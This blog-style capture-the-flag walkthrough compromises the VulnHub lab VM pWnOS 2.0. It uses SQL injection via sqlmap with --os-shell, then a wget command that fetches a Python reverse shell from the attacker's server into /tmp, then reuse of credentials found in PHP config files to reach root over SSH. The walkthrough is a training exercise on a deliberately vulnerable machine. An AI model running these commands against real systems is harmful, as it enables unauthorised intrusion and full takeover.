This is going to be a quick write up of what will hopefully become more common exploration’s into the fantastic range of vulnerable VM’s over at http://vulnhub.com/. I’m a firm believer that nothing teaches techniques like applying them to unique problems so hopefully walking through the process can help see how I go about discovering things.
Setup
To start with we obviously download the VM from VulnHub located here. We also need to add a new virtual host adapter in the 10.10.10.0/24 range to connect up the pWnOS’s static IP set for 10.10.10.100. After booting up we see the services are up, running and ready to go.
First Looks
The first thing I do in almost every VM is a quick nmap of the ports open to get a feel for what I’m dealing with. Webpages are a hugely popular entry method so it’s often the first application to get a look over if available, but I also see if anything else “non-standard” jumps out. Generally speaking I’m looking for low hanging fruit, and if none is discovered I tend to go back and do a more thorough enumeration process.
The Webpage
We open the web page and see a plain looking welcome message along with three links on the right hand side – Home / Register / Login. The first thing I do on most sites is check out the robots.txt file straight away (http://10.10.10.100/robots.txt) to see if any juicy directories are disallowed. With no file on this server we move on to looking for places to input data and interact with the web page which we can test further.
Register show’s 5 fields, and quickly we throw in a ‘ into each trying to trigger any SQL injection flaws. Again this is a quick pass over and if nothing is found these fields should be investigated fully. The form seems to correctly handle our input and ask us for valid values on all fields. Time to repeat the processes with the login form which has two (obvious) fields, email address and password. This triggers a juicy verbose login error which gives ton’s of data about what’s happening – a dream for those trying to perform SQL injection.
Exploitation
Although I can manually complete SQL injection I’m a big fan of using effective tools if they are available, and following up in the case of errors or I feel that something may have been missed. As a result typically I’ll focus on using SQL Map as my first exploitation path. Burp is fired up to conveniently obtain the headers, which I find makes the SQL Map experience a lot nicer.
Firefox’s proxy settings are enabled to tunnel the connection through Burp, and the interceptor turned on. We resubmit the login form and capture the request, subsequently using Burps ‘Copy to File’ to save the request into a text document on our machine (I named it req.txt). We see the variables ’email’, ‘pass’ and ‘submitted’ are passed through the post request. I plan on checking these one by one with SQL Map for vulnerabilities.
The first command we run is as follows,
sqlmap -r /root/req.txt -p email |
This means perform SQL injection checks using the variables defined in this header file we previously saved, and check if the email field is vulnerable. We see the field is in fact vulnerable – the screenshot below show’s zero requests because it’s saved the results from the first time I ran the check.
Knowing it’s injectable we try again straight away for a shell, using SQL map’s awesome os-shell functionality. The command is repeated.
sqlmap -r /root/req.txt -p email --os-shell |
We agree to the default options when prompted as to languages and directories to try and use for our injection. We also agree to use the same method for the backdoor as the file stager and we’re promptly greeted by a os-shell on the system. Looking at id we’re running in the context of an underprivileged user as expected.
Privilege Escalation
My privilege escalation technique follows along a few principles – enumeration, enumeration then some more enumeration. The more information we can find about the system the better off we’ll be. Starting from the directory we landed in we have a look around. Given we were dealing with a login application there is a good chance of having MySQL passwords laying around, so we initially check that out.
We see a db connection using a username ‘root’ and password of ‘goodday’. Any time we get information like root anything we want to test it out and see what juicy information is in there. The issue currently is we don’t have a suitable shell for jumping around the system, we need something more flexible. A quick ‘python -V’ show’s that python 2.7.1 is installed, excellent, we can get a shell from this. We see what payload options are available to give us a shell.
We quickly create a shell and place it in our attacking web server for downloading.
From there we execute the following command for our OS-shell provided by MySQL.
wget http://10.10.10.1/shell.py -P /tmp/ chmod 777 /tmp/shell.py |
This command downloads the shell and places it into the tmp directory where we have write permissions. It’s quickly followed by command to make it executable for us. On the attacking machine we set up a netcat listener on port 443, then execute our shell. As we can see we obtain a connect back in a more appropriate shell.
We try the command to examine our juicy MySQL info with the following command.
mysql -u root -pgoodday |
But we get the response…
ERROR 1045 (28000): Access denied for user 'root'@'localhost' (using password: YES) |
Ok, weird – that should have worked. Never mind we put it on the back burner and start exploring our environment a little more. Checking out the var directory we see something very interesting though.
See something strange? mysqli_connect.php is here again. This time examining it we see it’s the same as the other in the web root directory, but this one has a different password in there.
DEFINE ('DB_PASSWORD', 'root@ISIntS'); |
Anything like this stands out as strange, so we test MySQL again and see if it will allow us to log in… yes, that was successful and we now have root MySQL access.
Since we have a confirmed working root password (for MySQL) it’s smart to attempt to use the same password against other services in case of password reuse. We attempt to log into root over ssh with the information and this was the result…
… well, what can I say. Honestly a bit of a letdown in terms of how privilege escalation’s go, but I suppose that’s pWnOS 2.0 pwned. We have root access and complete control over the system.
Summary
Well, the key vulnerabilities and skills used were as follows.
Hopefully I’ll get a few more interesting examples to write up shortly – and hopefully they will be a bit more complicated for us.
Enjoy